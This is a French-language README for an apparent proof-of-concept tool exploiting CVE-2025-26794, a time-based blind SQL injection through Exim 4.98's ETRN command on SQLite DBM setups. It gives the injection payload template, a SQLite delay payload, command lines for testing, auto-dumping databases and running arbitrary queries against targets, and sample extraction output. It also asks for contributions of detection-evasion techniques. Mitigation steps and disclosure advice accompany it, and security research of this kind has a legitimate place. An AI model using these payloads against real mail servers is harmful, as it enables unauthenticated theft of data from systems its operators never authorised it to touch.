CVE-2025-26794 : Exploit d'injection SQL ETRN dans Exim

Un outil d'exploit de preuve de concept pour CVE-2025-26794, démontrant une vulnérabilité d'injection SQL dans le serveur de messagerie Exim 4.98 via la commande ETRN lors de l'utilisation du stockage DBM SQLite.

⚠️ Avertissement légal

RÉSERVÉ AUX TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT

Cet outil est fourni à des fins éducatives et pour les tests d'intrusion autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal en vertu de diverses lois, notamment :

• Computer Fraud and Abuse Act (CFAA) aux États-Unis
• Computer Misuse Act au Royaume-Uni
• Législation similaire dans d'autres juridictions

Vous devez disposer d'une autorisation écrite explicite avant de tester tout système dont vous n'êtes pas propriétaire.

Les auteurs et contributeurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.

📋 Présentation de la vulnérabilité

CVE-2025-26794 est une vulnérabilité d'injection SQL dans Exim 4.98 qui se produit lorsque :

• Exim est configuré avec le stockage DBM SQLite
• Le gestionnaire de commandes ETRN traite des données sérialisées
• Les entrées contrôlées par l'utilisateur sont insuffisamment nettoyées avant la construction de la requête SQL

Cette vulnérabilité permet aux attaquants de :

• Extraire des données sensibles de la base de données du serveur de messagerie
• Effectuer des attaques d'injection SQL aveugle basées sur le temps
• Énumérer la structure de la base de données (tables, colonnes, données)

Versions affectées

• Exim 4.98 avec configuration DBM SQLite

Vecteur d'attaque

• Service SMTP accessible sur le réseau (généralement le port 25)
• Aucune authentification requise (commande ETRN disponible avant authentification)

🚀 Fonctionnalités

• Test de vulnérabilité : Vérification automatisée pour confirmer si la cible est vulnérable
• SQLi aveugle basée sur le temps : Utilise des techniques de délai temporel SQLite pour l'extraction de données
• Optimisation par recherche binaire : Extraction efficace caractère par caractère
• Extraction automatisée de la base de données : Extrait les tables, les colonnes et des données d'exemple
• Mode interactif : Exécutez des requêtes SQL personnalisées de manière interactive
• Fonctionnement multi-mode : Stratégies d'extraction flexibles

📦 Installation

Prérequis

• Python 3.6 ou supérieur
• Accès réseau au serveur SMTP cible

Configuration

# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit

# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt

# Make script executable (Linux/Mac)
chmod +x exploit.py

💻 Utilisation

Syntaxe de base

python3 exploit.py <target> [options]

Exemples rapides

1. Tester si la cible est vulnérable

python3 exploit.py 192.168.1.10 --test-only

2. Extraction automatisée de la base de données

python3 exploit.py mail.example.com --auto-dump

3. Mode requête SQL interactif

python3 exploit.py 10.0.0.5 --interactive

4. Extraire la structure d'une table spécifique

python3 exploit.py 192.168.1.10 --table users --columns

5. Exécuter une requête SQL personnalisée

python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"

Options de la ligne de commande

🔍 Comment ça fonctionne

Déroulement de l'attaque

1. Connexion : Établit une connexion SMTP au serveur cible
2. Mesure de référence : Envoie une commande ETRN normale pour mesurer le temps de réponse
3. Test d'injection : Envoie une charge utile SQL avec délai temporel pour confirmer la vulnérabilité
4. Extraction de données : Utilise la recherche binaire avec SQLi aveugle basée sur le temps pour extraire les données caractère par caractère

Structure de la charge utile d'injection SQL

ETRN #',1); <MALICIOUS_QUERY> /*

La charge utile exploite le nettoyage insuffisant dans le gestionnaire de sérialisation ETRN, permettant l'injection SQL dans les requêtes SQLite.

Détection basée sur le temps

Utilise le délai temporel spécifique à SQLite :

SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

Cela crée un délai mesurable (~1-2 secondes) lorsque la condition est vraie.

📊 Exemple de sortie

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-26794: Exim SQLi Data Extraction Tool        ║
║                  FOR AUTHORIZED USE ONLY                  ║
╚═══════════════════════════════════════════════════════════╝

[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s

[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users

[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email

🛡️ Atténuation

Si vous exécutez Exim 4.98 avec DBM SQLite :

1. Mettre à jour Exim : Mettez à niveau vers la version corrigée (4.98.1 ou ultérieure)
2. Validation des entrées : Implémentez une validation stricte de la commande ETRN
3. Requêtes paramétrées : Utilisez des instructions préparées pour toutes les opérations de base de données
4. Règles de pare-feu : Restreignez l'accès SMTP aux réseaux de confiance
5. Désactiver ETRN : Si ce n'est pas nécessaire, désactivez la commande ETRN dans la configuration d'Exim

🔧 Détails techniques

Algorithme de recherche binaire

L'exploit utilise la recherche binaire pour extraire efficacement les caractères :

• Plage ASCII imprimable : 32-126
• Requêtes moyennes par caractère : ~7 (log₂ 94)
• Optimisé pour un trafic réseau minimal

Fonctions SQLite utilisées

• unicode() : Obtenir la valeur ASCII d'un caractère
• substr() : Extraire une sous-chaîne du résultat
• sqlite_master : Table système pour l'énumération du schéma
• pragma_table_info() : Extraction des métadonnées des colonnes

📚 Références

• Détails CVE : CVE-2025-26794
• Avis de sécurité Exim : [Avis officiel Exim]
• Injection SQL OWASP : Guide OWASP

🤝 Contribution

Les contributions sont les bienvenues pour :

• Optimisations des performances
• Techniques d'extraction supplémentaires
• Méthodes d'évasion de détection
• Corrections de bugs et améliorations

Veuillez vous assurer que toutes les contributions incluent :

• Une documentation claire
• Des directives de divulgation responsable
• Des avertissements d'utilisation légale

📝 Licence

Ce projet est publié à des fins éducatives uniquement. Utilisez-le de manière responsable et légale.

👤 Auteur

XploitGh0st

• GitHub : @XploitGh0st

🙏 Remerciements

• L'équipe de développement d'Exim pour la gestion responsable de la vulnérabilité
• La communauté de recherche en sécurité
• Les chercheurs sur les techniques d'injection basée sur le temps dans SQLite

⚖️ Divulgation responsable

Si vous découvrez des vulnérabilités en utilisant cet outil :

1. Ne divulguez pas immédiatement les détails publiquement
2. Contactez le fournisseur/mainteneur en privé
3. Accordez un délai raisonnable pour le correctif (généralement 90 jours)
4. Suivez les directives de divulgation coordonnée

Rappelez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez cet outil de manière éthique et légale.